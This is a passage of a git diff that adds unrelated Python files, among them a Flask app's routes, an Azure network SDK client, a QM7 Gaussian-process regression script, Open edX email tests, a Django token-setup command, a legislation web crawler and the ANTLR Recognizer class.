+from flask import Flask, jsonify, render_template, request, abort + +from geophoto import app, models, oembed + +basedir = os.path.dirname(os.path.abspath(__file__)) +index_path = os.path.join(basedir,'static','index.html') + +def spa(vfunc): + @wraps(vfunc) + def wrapper(*args, **kwargs): + if request.args.get('format') == 'json': + return vfunc(*args, **kwargs) + else: + return render_template('index.html') + return wrapper + +@app.route("/") +def index(): + return render_template('index.html') + +@app.route("/photos") +@spa +def photos(): + return jsonify(models.photos()) + +@app.route("/articles") +@spa +def articles(): + return jsonify(models.articles()) + +@app.route("/articles/") +@spa +def article(key): + return jsonify(models.article(key)) + +@app.route("/tags/", methods=["GET",]) +@spa +def tags(id): + return jsonify(models.tags(id)) + +@app.route("/services/oembed/", methods=["GET",]) +def oembed_service(): + fmt = request.args.get("format") + if fmt is None or fmt == 'json': + return jsonify(oembed.oembed(request.args.get('url'))) + elif fmt == 'html': + return oembed.oembed(request.args.get('url')) + abort(500) + +@app.route("/tags/", methods=["POST",]) +@spa +def add_tags(id): + try: + return jsonify(models.add_tags(id, request.get_json())) + except ValueError: + abort(409) diff --git a/pool/shard008/Python/0075231_express_route_service_providers_operations.py b/pool/shard008/Python/0075231_express_route_service_providers_operations.py new file mode 100644 index 0000000000000000000000000000000000000000..f08e9d3ef2d6afb9b9320d41cb3dd31e5dbcfd88 --- /dev/null +++ b/pool/shard008/Python/0075231_express_route_service_providers_operations.py @@ -0,0 +1,102 @@ +# coding=utf-8 +# -------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for +# license information. +# +# Code generated by Microsoft (R) AutoRest Code Generator. +# Changes may cause incorrect behavior and will be lost if the code is +# regenerated. +# -------------------------------------------------------------------------- + +import uuid +from msrest.pipeline import ClientRawResponse +from msrestazure.azure_exceptions import CloudError + +from .. import models + + +class ExpressRouteServiceProvidersOperations(object): + """ExpressRouteServiceProvidersOperations operations. + + :param client: Client for service requests. + :param config: Configuration of service client. + :param serializer: An object model serializer. + :param deserializer: An objec model deserializer. + :ivar api_version: Client API version. Constant value: "2017-08-01". + """ + + models = models + + def __init__(self, client, config, serializer, deserializer): + + self._client = client + self._serialize = serializer + self._deserialize = deserializer + self.api_version = "2017-08-01" + + self.config = config + + def list( + self, custom_headers=None, raw=False, **operation_config): + """Gets all the available express route service providers. + + :param dict custom_headers: headers that will be added to the request + :param bool raw: returns the direct response alongside the + deserialized response + :param operation_config: :ref:`Operation configuration + overrides`. + :return: An iterator like instance of ExpressRouteServiceProvider + :rtype: + ~azure.mgmt.network.v2017_08_01.models.ExpressRouteServiceProviderPaged[~azure.mgmt.network.v2017_08_01.models.ExpressRouteServiceProvider] + :raises: :class:`CloudError` + """ + def internal_paging(next_link=None, raw=False): + + if not next_link: + # Construct URL + url = '/subscriptions/{subscriptionId}/providers/Microsoft.Network/expressRouteServiceProviders' + path_format_arguments = { + 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') + } + url = self._client.format_url(url, **path_format_arguments) + + # Construct parameters + query_parameters = {} + query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') + + else: + url = next_link + query_parameters = {} + + # Construct headers + header_parameters = {} + header_parameters['Content-Type'] = 'application/json; charset=utf-8' + if self.config.generate_client_request_id: + header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) + if custom_headers: + header_parameters.update(custom_headers) + if self.config.accept_language is not None: + header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') + + # Construct and send request + request = self._client.get(url, query_parameters) + response = self._client.send( + request, header_parameters, stream=False, **operation_config) + + if response.status_code not in [200]: + exp = CloudError(response) + exp.request_id = response.headers.get('x-ms-request-id') + raise exp + + return response + + # Deserialize response + deserialized = models.ExpressRouteServiceProviderPaged(internal_paging, self._deserialize.dependencies) + + if raw: + header_dict = {} + client_raw_response = models.ExpressRouteServiceProviderPaged(internal_paging, self._deserialize.dependencies, header_dict) + return client_raw_response + + return deserialized diff --git a/pool/shard008/Python/0075233_swipe_theta.py b/pool/shard008/Python/0075233_swipe_theta.py new file mode 100644 index 0000000000000000000000000000000000000000..c7df4a4b7f0f16fa09b18b2eb462c33b9ad58d24 --- /dev/null +++ b/pool/shard008/Python/0075233_swipe_theta.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python + +import os, pickle, random, time +try: + os.remove('my_gp_module.pyc') +except OSError: + pass +import scipy as sp +from scipy.linalg import norm, eigh, inv, pinv, pinv2, pinvh +from my_gp_module import GaussianProcess + +# -------------------------------------------- +# Load all database +# -------------------------------------------- +ttt = time.clock() +if not os.path.exists('qm7.pkl'): os.system('wget http://www.quantum-machine.org/data/qm7.pkl') +dataset = pickle.load(open('qm7.pkl','r')) + +# -------------------------------------------- +# Extract training data and test set +# -------------------------------------------- +split = 1 +N_models = 1 + +# P = dataset['P'][range(0,split)+range(split+1,5)].flatten() +P = dataset['P'][split + 1] +X = dataset['X'][P] +T = dataset['T'][P] +Ptest = dataset['P'][split] +Xtest = dataset['X'][Ptest] +Ttest = dataset['T'][Ptest] +print "TIMER load_data", time.clock() - ttt + +# -------------------------------------------- +# Extract feature(s) from training data and test set +# -------------------------------------------- +# in this case, only sorted eigenvalues of Coulomb matrix +ttt = time.clock() +eigX = [(eigh(M, eigvals_only=True))[::-1] for M in X] +eigt = [(eigh(M, eigvals_only=True))[::-1] for M in Xtest] +print "TIMER eval_features", time.clock() - ttt + +# Observations +y = T.ravel() + +alpha = [] +covmat = [] +for theta0 in [10.0**i for i in sp.linspace(-2,5,7)]: # sp.linspace(1,1, N_models): + # Setup a Gaussian Process model + ttt = time.clock() + gp = GaussianProcess(corr='absolute_exponential', theta0=sp.asarray([theta0]), + nugget=1e-3, verbose=True, low_memory=False) + + # Fit to data using Maximum Likelihood Estimation of the parameters + gp.fit(eigX, y) + print "TIMER teach", time.clock() - ttt + + ttt = time.clock() + # # Make the prediction on training set + # y_pred, MSE = gp.predict(eigX, eval_MSE=True) + # sigma = sp.sqrt(MSE) + # print('\n training set:') + # print('MAE: %5.2f kcal/mol' % sp.absolute(y_pred-y).mean(axis=0)) + # print('RMSE: %5.2f kcal/mol' % sp.square(y_pred-y).mean(axis=0)**.5) + # Make the prediction on test set + y_pred, MSE = gp.predict(eigt, eval_MSE=True) + sigma = sp.sqrt(MSE) + print('\n test set:') + print('MAE: %5.2f kcal/mol' % sp.absolute(y_pred-Ttest.ravel()).mean(axis=0)) + print('RMSE: %5.2f kcal/mol' %sp.square(y_pred-Ttest.ravel()).mean(axis=0)**.5) + print "TIMER predict", time.clock() - ttt + alpha.append(gp.alpha) + covmat.append(gp.K) + + print r"\alpha STD: %f" % (sp.std(gp.alpha) / sp.mean(sp.absolute(gp.alpha))) + + print "\n", "-"*60, "\n" + +# P = dataset['P'][range(0,split)+range(split+1,5)].flatten() +# X = dataset['X'][P] +# T = dataset['T'][P] +# print "TIMER load_data", time.clock() - ttt + +# # -------------------------------------------- +# # Extract feature(s) from training data +# # -------------------------------------------- +# # in this case, only sorted eigenvalues of Coulomb matrix +# ttt = time.clock() +# eigX = [(eigh(M, eigvals_only=True))[::-1] for M in X] +# print "TIMER eval_features", time.clock() -ttt +# # -------------------------------------------- +# # Generate distance matrix (currently it's only one for all) +# # -------------------------------------------- +# ttt = time.clock() +# D = sp.zeros((len(eigX), len(eigX))) +# for i, v1 in enumerate(eigX): +# for j, v2 in enumerate(eigX[i:]): +# if i == j: D[i,j] = 0.0 +# else: +# D[i,j] = norm(v1 - v2) +# D[j,i] = D[i,j] +# print "TIMER distance_matrix", time.clock() -ttt +# # -------------------------------------------- +# # Generate multiple kernel matrices +# # -------------------------------------------- +# list_k_I = [] +# list_alphas_I = [] +# for l in sp.linspace(0.01, 1,1): +# for reg_param in sp.linspace(0.01, 0.1,1): +# print "STATUS:", l, reg_param +# k_I = sp.exp(-D/l) +# list_k_I.append(k_I) +# # -------------------------------------------- +# # Calculate regression coefficients +# # -------------------------------------------- +# ttt = time.clock() +# inv_mat = inv(k_I + reg_param * sp.eye(len(eigX))) +# print "TIMER matrix_inversion", time.clock() -ttt +# alphas = sp.dot(inv_mat, T) +# list_alphas_I.append(alphas) +# sp.save("alphas_%.3f_%.3f.npy" % (l, reg_param), alphas) +# # -------------------------------------------- +# # Predict something already known +# # -------------------------------------------- +# print "TEST length scale: %.3f, regularisation parameter: %.3f" % (l, reg_param) +# for counter in range(5): +# idx = random.randint(0, len(eigX) - 1) +# eigt = eigX[idx] +# kt = [kernel(v1, eigt, l) for v1 in eigX] +# print "PREDICTION: %.3f, TARGET: %.3f" % (sp.dot(kt, alphas), T[idx]) diff --git a/pool/shard008/Python/0075236_test_api_email_localization.py b/pool/shard008/Python/0075236_test_api_email_localization.py new file mode 100644 index 0000000000000000000000000000000000000000..e26b69d835a1c02442071bce73338c477149d3a9 --- /dev/null +++ b/pool/shard008/Python/0075236_test_api_email_localization.py @@ -0,0 +1,100 @@ +# -*- coding: utf-8 -*- +""" +Unit tests for the localization of emails sent by instructor.api methods. +""" + +from django.core import mail +from django.urls import reverse +from django.test.utils import override_settings +from nose.plugins.attrib import attr +from six import text_type + +from courseware.tests.factories import InstructorFactory +from openedx.core.djangoapps.lang_pref import LANGUAGE_KEY +from openedx.core.djangoapps.user_api.preferences.api import delete_user_preference, set_user_preference +from student.models import CourseEnrollment +from student.tests.factories import UserFactory +from xmodule.modulestore.tests.django_utils import SharedModuleStoreTestCase +from xmodule.modulestore.tests.factories import CourseFactory + + +@attr(shard=1) +class TestInstructorAPIEnrollmentEmailLocalization(SharedModuleStoreTestCase): + """ + Test whether the enroll, unenroll and beta role emails are sent in the + proper language, i.e: the student's language. + """ + @classmethod + def setUpClass(cls): + super(TestInstructorAPIEnrollmentEmailLocalization, cls).setUpClass() + cls.course = CourseFactory.create() + + def setUp(self): + super(TestInstructorAPIEnrollmentEmailLocalization, self).setUp() + + # Platform language is English, instructor's language is Chinese, + # student's language is Esperanto, so the emails should all be sent in + # Esperanto. + self.instructor = InstructorFactory(course_key=self.course.id) + set_user_preference(self.instructor, LANGUAGE_KEY, 'zh-cn') + self.client.login(username=self.instructor.username, password='test') + + self.student = UserFactory.create() + set_user_preference(self.student, LANGUAGE_KEY, 'eo') + + def update_enrollement(self, action, student_email): + """ + Update the current student enrollment status. + """ + url = reverse('students_update_enrollment', kwargs={'course_id': text_type(self.course.id)}) + args = {'identifiers': student_email, 'email_students': 'true', 'action': action, 'reason': 'testing'} + response = self.client.post(url, args) + return response + + def check_outbox_is_esperanto(self): + """ + Check that the email outbox contains exactly one message for which both + the message subject and body contain a certain Esperanto string. + """ + return self.check_outbox(u"Ýöü hävé ßéén") + + def check_outbox(self, expected_message): + """ + Check that the email outbox contains exactly one message for which both + the message subject and body contain a certain string. + """ + self.assertEqual(1, len(mail.outbox)) + self.assertIn(expected_message, mail.outbox[0].subject) + self.assertIn(expected_message, mail.outbox[0].body) + + def test_enroll(self): + self.update_enrollement("enroll", self.student.email) + + self.check_outbox_is_esperanto() + + def test_unenroll(self): + CourseEnrollment.enroll( + self.student, + self.course.id + ) + self.update_enrollement("unenroll", self.student.email) + + self.check_outbox_is_esperanto() + + def test_set_beta_role(self): + url = reverse('bulk_beta_modify_access', kwargs={'course_id': text_type(self.course.id)}) + self.client.post(url, {'identifiers': self.student.email, 'action': 'add', 'email_students': 'true'}) + + self.check_outbox_is_esperanto() + + def test_enroll_unsubscribed_student(self): + # Student is unknown, so the platform language should be used + self.update_enrollement("enroll", "newuser@hotmail.com") + self.check_outbox("You have been") + + @override_settings(LANGUAGE_CODE="eo") + def test_user_without_preference_receives_email_in_esperanto(self): + delete_user_preference(self.student, LANGUAGE_KEY) + self.update_enrollement("enroll", self.student.email) + + self.check_outbox_is_esperanto() diff --git a/pool/shard008/Python/0075241_classify.py b/pool/shard008/Python/0075241_classify.py new file mode 100644 index 0000000000000000000000000000000000000000..f7351c5da01f7cd1fa63061a92f0e10f563f20a2 --- /dev/null +++ b/pool/shard008/Python/0075241_classify.py @@ -0,0 +1,37 @@ +"""Classifies image arguments as either cat or not + +""" + +import json +import sys +import os + +from skimage import io +from skimage import transform + +from model import setup_model + +# TODO: handle argument parsing in a sane manner + +SIZE = (32, 32) +MODEL_FILE = "cat-classifier.tfl" + +model = setup_model() + +model.load(MODEL_FILE) + +filenames = sys.argv[1:] + +for filename in filenames: + filepath = os.path.abspath(filename) + try: + im = io.imread(filepath) + im = transform.resize(im, SIZE) + except ValueError: + print("Unable to load: {:s}".format(filepath), file=sys.stderr) + result = model.predict([im]) + print(json.dumps({ + "filepath": filepath, + "not_cat_score": result[0][0], + "cat_score": result[0][1] + })) diff --git a/pool/shard008/Python/0075243_create_tokens.py b/pool/shard008/Python/0075243_create_tokens.py new file mode 100644 index 0000000000000000000000000000000000000000..23e805ec0552e8d72e5a1128525b140f25d0de1a --- /dev/null +++ b/pool/shard008/Python/0075243_create_tokens.py @@ -0,0 +1,102 @@ +from optparse import make_option +import os.path +import requests +import json + +from django.contrib.auth.models import User +from django.core.management import BaseCommand, CommandError +from rest_framework.authtoken.models import Token +from users.models import UserProfile +from orgs.models import Organization + +class Command(BaseCommand): + help = 'Create initial user data for new installation, output the tokens required for the web.' + option_list = BaseCommand.option_list + ( + make_option('--password', + action='store', + dest='pwd', + default=None, + help='Password for root user.'), + make_option('--test', + action='store_true', + dest='test_mode', + default=False, + help='Test mode. Do not update database.'), + make_option('--create', + action='store_true', + dest='create_mode', + default=False, + help='Create root user.'), + make_option('--token', + action='store', + dest='token', + default=None, + help='Set root user token.') + ) + + def print_users(self): + print 'Django users...' + for n,u in enumerate(User.objects.all(), start=1): + print 'Django User %d -----' % n + print 'user id:', u.id + print 'user name:', u.username + print 'is staff:', u.is_staff + print 'is superuser:', u.is_superuser + + + print 'API users...' + for n, u in enumerate(UserProfile.objects.all(), start=1): + print 'API User %d -----' % n + print 'user id:', u.id + print 'mnemonic:', u.mnemonic + print 'name:', u.name + + + def print_tokens(self): + """ Just print out the tokens, in a form that easily put + in a shell script. + """ + + for t in Token.objects.all(): + res = User.objects.filter(id=t.user_id) + if len(res) == 1: + un = res[0].username + else: + un = 'n/a' + if un == 'admin': + print "export OCL_API_TOKEN='%s'" % t.key + if un == 'anonymous': + print "export OCL_ANON_API_TOKEN='%s'" % t.key + + + def handle(self, *args, **options): + + create_mode = options['create_mode'] + pwd = options['pwd'] + token = options['token'] + + if create_mode: + if pwd is None: + raise CommandError('--password is required.') + + superusers = User.objects.filter(username='root') + + if not superusers: + UserProfile.objects.create( + user=User.objects.create_superuser('root', 'root@openconceptlab.org', password=pwd), + organizations=map(lambda o: o.id, Organization.objects.filter(created_by='root')), + mnemonic='root') + superusers = User.objects.filter(username='root') + + superuser = superusers[0] + + superuser.set_password(pwd) + superuser.save() + + if token: + Token.objects.filter(user=superuser).delete() + Token.objects.create(user=superuser, key=token) + + else: + self.print_tokens() + diff --git a/pool/shard008/Python/0075246_spider.py b/pool/shard008/Python/0075246_spider.py new file mode 100644 index 0000000000000000000000000000000000000000..994381028d139e74a8a0a7deb2ba1c036959fb71 --- /dev/null +++ b/pool/shard008/Python/0075246_spider.py @@ -0,0 +1,107 @@ +# +# This file will crawl ComLaw and download the name and ComLawID of all legislation +# Starting in 2015 and working backwards to 1901 +# +# For example - use like: +# python -u spider.py > legislation.txt +# +# You don't actually need to run this - I have included both the current legislative instruments +# and asmade in the repo: +# acts_current.txt +# acts_asmade.txt + + + +import mechanize +import time + + +# AspNET *SIGH* +FORM_NAME = 'aspnetForm' + +#Current Acts only... +BASE_CURRENT = 'https://www.comlaw.gov.au/Browse/Results/ByYearNumber/Acts/Current/{}/0' + +#As made +BASE_ASMADE = 'https://www.comlaw.gov.au/Browse/Results/ByYearNumber/Acts/Asmade/{}/0' + + + +class ComlawYear(object): + + def __init__(self, year, BASE=BASE_CURRENT): + self.y = year + self.br = mechanize.Browser() + self.br.open(BASE.format(self.y)) + + print 'Opened first page of year {}'.format(year) + self.pages = 1 + + def get_page(self): + + + links = [] + + for l in self.br.links(): + #Only get the links to legislation "LegBookmarks" + if ('class', 'LegBookmark') in l.attrs: + + #Save the name of the legislation and its ComlawID + links.append(( + l.text, + l.url.split('/')[-1] + )) + + return links + + + def next_page(self): + + # control = self.br.form.find_control(NEXT_PG_CONTROL) + self.br.select_form(FORM_NAME) + + for c in self.br.form.controls: + if 'class' in c.attrs and c.attrs['class'] == 'rgPageNext': + + #We've come to the end of the pages... + if 'onclick' in c.attrs and c.attrs['onclick'].startswith('return'): + return False + self.br.submit(c.name) + self.pages += 1 + return True + + return False + + def get_all(self): + + while True: + + for l in self.get_page(): + yield l + + #be nice to the web server! + time.sleep(2) + + if self.next_page() is False: + print 'Year {} had {} pages'.format(self.y, self.pages) + return + + + +#Don't need to use this - checkout acts_asmade.txt and acts_current.txt in the repo! +if False: + year = 2015 + + while True: + + y = ComlawYear(year) + for l in y.get_all(): + print l + year -= 1 + + if year < 1901: + break + + print 'Done' + + diff --git a/pool/shard008/Python/0075250_avionics.py b/pool/shard008/Python/0075250_avionics.py new file mode 100644 index 0000000000000000000000000000000000000000..19632923adee500a9ea05d128a65bcbadfbee494 --- /dev/null +++ b/pool/shard008/Python/0075250_avionics.py @@ -0,0 +1,164 @@ +import io +import logging +import sys +import time +import traceback +from tkinter import Listbox, LEFT, BOTH, Label, \ + StringVar, NW, BooleanVar, DISABLED, NORMAL, X, NE + +import krpc +from ttk import Checkbutton, Entry + +from krcc_module import KRCCModule + + +# DECLARE_KRCC_MODULE +def load(root): + return AvionicsLogger(root) + + +class AvionicsLogger(KRCCModule): + def __init__(self, root): + super().__init__() + self.root = root + self.exception = None + + self.list_string = StringVar() + self.listbox = Listbox(root, listvariable=self.list_string, + font='TkFixedFont', width=30) + + self.write_cache = '' + self.logfile = None + self.enable_logging = BooleanVar() + self.enable_logging_checkbox = Checkbutton( + root, var=self.enable_logging, text='Enable logging', + command=self.enable_logging_changed) + + self.logfile_label = Label(root, text='Logfile name:') + self.logfile_name = StringVar() + self.logfile_name_entry = Entry(root, textvar=self.logfile_name) + + self.load() + + def write(self, string): + if self.enable_logging.get() and self.logfile is None: + if self.logfile_name.get() == '': + self.logfile_name.set('logs/{}.log'.format(time.time())) + self.logfile = io.open(self.logfile_name.get(), 'a') + self.logfile.write(self.write_cache) + self.write_cache = '' + self.logfile.write(string) + + def cache(self, string): + self.write_cache += string + + def enable_logging_changed(self): + if not self.enable_logging.get(): + self.logfile_name_entry.configure(state=NORMAL) + if self.logfile is not None: + self.logfile.close() + self.logfile = None + self.logfile_name.set('') + else: + self.logfile_name_entry.configure(state=DISABLED) + + def establish_connection_and_run(self): + error = None + dots = 0 + connection = None + while not self.terminate: + try: + if connection is None: + connection = krpc.connect(name=self.name) + self.run_with_connection(connection) + error = None + dots = 0 + except Exception as e: + if error != e.args[0]: + error = e.args[0] + print('\n') + print(traceback.format_exc()) + sys.stdout.write('Retrying') + if dots > 80: + dots = 0 + sys.stdout.write('\n') + sys.stdout.write('.') + dots += 1 + sys.stdout.flush() + time.sleep(1) + if connection is not None: + connection.close() + + def run_with_connection(self, connection): + logging.debug('KRPC connection established') + vessel = connection.space_center.active_vessel + ref = vessel.orbit.body.reference_frame + flight = connection.add_stream(vessel.flight, ref) + floats = [ + 'mean_altitude', + 'atmosphere_density', + 'ballistic_coefficient', + 'drag_coefficient', + ] + vectors = [ + 'velocity', + ] + colon_pos_float = max([len(v) for v in floats]) + colon_pos_vec = max([len(v) + 3 for v in vectors]) + self.listbox.configure(width=max(colon_pos_float, colon_pos_vec) + 11) + + # Write the log file header. + self.cache('time\t' + '\t'.join(floats) + '\t') + s = '{}\t' + '\t'.join('{{}}[{}]'.format(x) for x in [0, 1, 2]) + self.cache('\t'.join(s.format(*(v for _ in [0, 1, 2, 3])) for v in vectors)) + self.cache('\n') + log_sample_interval = 0.01 + next_log_sample = time.time() + while not self.terminate: + values = [time.time()] + strings = [] + for name in floats: + value = flight().__getattribute__(name) + values.append(value) + padding = colon_pos_float - len(name) + 9 + format_string = '{{}}: {{:>{}.3f}}'.format(padding) + strings.append(format_string.format(name, value)) + for name in vectors: + value = flight().__getattribute__(name) + magnitude = value[0] + padding = colon_pos_float - len(name) + 9 + format_string = '{{}}: {{:>{}.3f}}'.format(padding) + strings.append(format_string.format(name, magnitude)) + values.append(magnitude) + padding = colon_pos_vec - len(name) + 2 + format_string = '{{}}[{{}}]: {{:>{}.3f}}'.format(padding) + for i in [0, 1, 2]: + values.append(value[i]) + strings.append(format_string.format(name, i, value[i])) + if self.enable_logging.get() and time.time() > next_log_sample: + self.write('\t'.join(['{}'.format(v) for v in values]) + '\n') + next_log_sample = time.time() + log_sample_interval + self.list_string.set(tuple(strings)) + + def run(self): + try: + self.establish_connection_and_run() + self.logfile_name_entry.destroy() + self.logfile_label.destroy() + self.enable_logging_checkbox.destroy() + self.listbox.destroy() + except RuntimeError: + # Should only happen when KeyboardInterrupt is thrown in the MainThread. + pass + if self.logfile is not None: + self.logfile.close() + + @property + def name(self): + return 'Avionics Logger' + + def load(self): + self.listbox.pack(side=LEFT, fill=BOTH) + self.logfile_label.pack(side=LEFT, anchor=NW) + self.logfile_name_entry.pack(side=LEFT, anchor=NE, fill=X, expand=True) + self.enable_logging_checkbox.pack(side=LEFT, anchor=NW) diff --git a/pool/shard008/Python/0075254_database.py b/pool/shard008/Python/0075254_database.py new file mode 100644 index 0000000000000000000000000000000000000000..046e06d5ec5765ea88190d8c23b405eba0bb6e57 --- /dev/null +++ b/pool/shard008/Python/0075254_database.py @@ -0,0 +1,28 @@ +# -*- coding: utf-8 -*- + +from sqlite3 import connect, PARSE_DECLTYPES, Row, IntegrityError +from fcsite import app + + +def connect_db(): + uri = app.config['DATABASE_URI'] + db = connect(uri, detect_types=PARSE_DECLTYPES) + db.row_factory = Row + db.execute('PRAGMA foreign_keys = ON') + return db + + +def initialize(): + db = connect_db() + with db: + __force_insert(db, """ + INSERT INTO User (id, name, password, sex) + VALUES (-1, '---', '!@#$%^&*()', 1)""") + db.close() + + +def __force_insert(db, sql): + try: + db.execute(sql) + except IntegrityError: + pass diff --git a/pool/shard008/Python/0075256_bram.py b/pool/shard008/Python/0075256_bram.py new file mode 100644 index 0000000000000000000000000000000000000000..121677d772a52e09666531fcdb0d6a7aac12e978 --- /dev/null +++ b/pool/shard008/Python/0075256_bram.py @@ -0,0 +1,15 @@ +from hwt.interfaces.std import BramPort +from hwt.synthesizer.shortcuts import toRtl +from hwtHdlParsers.unitFromHdl import UnitFromHdl + + +class Bram(UnitFromHdl): + _hdlSources = ["vhdl/dualportRAM.vhd"] + _intfClasses = [BramPort] + +class BramSp(UnitFromHdl): + _hdlSources = ["vhdl/singleportRAM.vhd"] + _intfClasses = [BramPort] + +if __name__ == "__main__": + print(toRtl(Bram())) diff --git a/pool/shard008/Python/0075257_Recognizer.py b/pool/shard008/Python/0075257_Recognizer.py new file mode 100644 index 0000000000000000000000000000000000000000..5212cbf9ab90c05f143ba379ad45f21e041bd0b8 --- /dev/null +++ b/pool/shard008/Python/0075257_Recognizer.py @@ -0,0 +1,185 @@ +# +# [The "BSD license"] +# Copyright (c) 2012 Terence Parr +# Copyright (c) 2012 Sam Harwell +# Copyright (c) 2014 Eric Vergnaud +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. The name of the author may not be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# +from antlr4.RuleContext import RuleContext +from antlr4.Token import Token +from antlr4.error.ErrorListener import ProxyErrorListener, ConsoleErrorListener + +# need forward delcaration +RecognitionException = None + +class Recognizer(object): + + tokenTypeMapCache = dict() + ruleIndexMapCache = dict() + + def __init__(self): + self._listeners = [ ConsoleErrorListener.INSTANCE ] + self._interp = None + self._stateNumber = -1 + + def extractVersion(self, version): + pos = version.find(".") + major = version[0:pos] + version = version[pos+1:] + pos = version.find(".") + if pos==-1: + pos = version.find("-") + if pos==-1: + pos = len(version) + minor = version[0:pos] + return major, minor + + def checkVersion(self, toolVersion): + runtimeVersion = "4.5.2" + rvmajor, rvminor = self.extractVersion(runtimeVersion) + tvmajor, tvminor = self.extractVersion(toolVersion) + if rvmajor!=tvmajor or rvminor!=tvminor: + print("ANTLR runtime and generated code versions disagree: "+runtimeVersion+"!="+toolVersion) + + def addErrorListener(self, listener): + self._listeners.append(listener) + + def removeErrorListener(self, listener): + self._listeners.remove(listener) + + def removeErrorListeners(self): + self._listeners = [] + + def getTokenTypeMap(self): + tokenNames = self.getTokenNames() + if tokenNames is None: + from antlr4.error.Errors import UnsupportedOperationException + raise UnsupportedOperationException("The current recognizer does not provide a list of token names.") + result = self.tokenTypeMapCache.get(tokenNames, None) + if result is None: + result = zip( tokenNames, range(0, len(tokenNames))) + result["EOF"] = Token.EOF + self.tokenTypeMapCache[tokenNames] = result + return result + + # Get a map from rule names to rule indexes. + # + #

Used for XPath and tree pattern compilation.

+ # + def getRuleIndexMap(self): + ruleNames = self.getRuleNames() + if ruleNames is None: + from antlr4.error.Errors import UnsupportedOperationException + raise UnsupportedOperationException("The current recognizer does not provide a list of rule names.") + result = self.ruleIndexMapCache.get(ruleNames, None) + if result is None: + result = zip( ruleNames, range(0, len(ruleNames))) + self.ruleIndexMapCache[ruleNames] = result + return result + + def getTokenType(self, tokenName:str): + ttype = self.getTokenTypeMap().get(tokenName, None) + if ttype is not None: + return ttype + else: + return Token.INVALID_TYPE + + + # What is the error header, normally line/character position information?# + def getErrorHeader(self, e:RecognitionException): + line = e.getOffendingToken().line + column = e.getOffendingToken().column + return "line "+line+":"+column + + + # How should a token be displayed in an error message? The default + # is to display just the text, but during development you might + # want to have a lot of information spit out. Override in that case + # to use t.toString() (which, for CommonToken, dumps everything about + # the token). This is better than forcing you to override a method in + # your token objects because you don't have to go modify your lexer + # so that it creates a new Java type. + # + # @deprecated This method is not called by the ANTLR 4 Runtime. Specific + # implementations of {@link ANTLRErrorStrategy} may provide a similar + # feature when necessary. For example, see + # {@link DefaultErrorStrategy#getTokenErrorDisplay}. + # + def getTokenErrorDisplay(self, t:Token): + if t is None: + return "" + s = t.text + if s is None: + if t.type==Token.EOF: + s = "" + else: + s = "<" + str(t.type) + ">" + s = s.replace("\n","\\n") + s = s.replace("\r","\\r") + s = s.replace("\t","\\t") + return "'" + s + "'" + + def getErrorListenerDispatch(self): + return ProxyErrorListener(self._listeners) + + # subclass needs to override these if there are sempreds or actions + # that the ATN interp needs to execute + def sempred(self, localctx:RuleContext, ruleIndex:int, actionIndex:int): + return True + + def precpred(self, localctx:RuleContext , precedence:int): + return True + + @property + def state(self): + return self._stateNumber + + # Indicate that the recognizer has changed internal state that is + # consistent with the ATN state passed in. This way we always know + # where we are in the ATN as the parser goes along. The rule + # context objects form a stack that lets us see the stack of + # invoking rules. Combine this and we have complete ATN + # configuration information. + + @state.setter + def state(self, atnState:int): + self._stateNumber = atnState + +del RecognitionException + +import unittest +class Test(unittest.TestCase): + + def testVersion(self): + major, minor = Recognizer().extractVersion("1.2") + self.assertEqual("1", major) + self.assertEqual("2", minor) + major, minor = Recognizer().extractVersion("1.2.3") + self.assertEqual("1", major) + self.assertEqual("2", minor) + major, minor = Recognizer().extractVersion("1.2-snapshot") + self.assertEqual("1", major) + self.assertEqual("2", minor) diff --git a/pool/shard008/Python/0075259_views.py b/pool/shard008/Python/0075259_views.py new file mode 100644 index 0000000000000000000000000000000000000000..897a2b1e29e2eac884fd1901e7de4a21269a96b3 --- /dev/null +++ b/pool/shard008/Python/0075259_views.py @@ -0,0 +1,27 @@ +from django.views.generic import date_based +from blog.models import Post + +def privileged_post_queryset(view_func): + def _wrapped_view(request, **kwargs): + if request.user.is_authenticated(): + kwargs["queryset"] = Post.objects.all() + else: + kwargs["queryset"] = Post.objects.active() + return view_func(request, **kwargs) + return _wrapped_view + +def homepage(request, **kwargs): + defaults = { + "date_field": "pub_date", + "num_latest": 3, + "template_name": "blog/homepage.html", + "template_object_name": "posts", + } + defaults.update(kwargs) + return date_based.archive_index(request, **defaults) +homepage = privileged_post_queryset(homepage) + +object_detail = privileged_post_queryset(date_based.object_detail) +archive_day = privileged_post_queryset(date_based.archive_day) +archive_month = privileged_post_queryset(date_based.archive_month) +archive_year = privileged_post_queryset(date_based.archive_year) \ No newline at end of file diff --git a/pool/shard008/Python/0075265_test_bayesian_blocks.py b/pool/shard008/Python/0075265_test_bayesian_blocks.py new file mode 100644 index 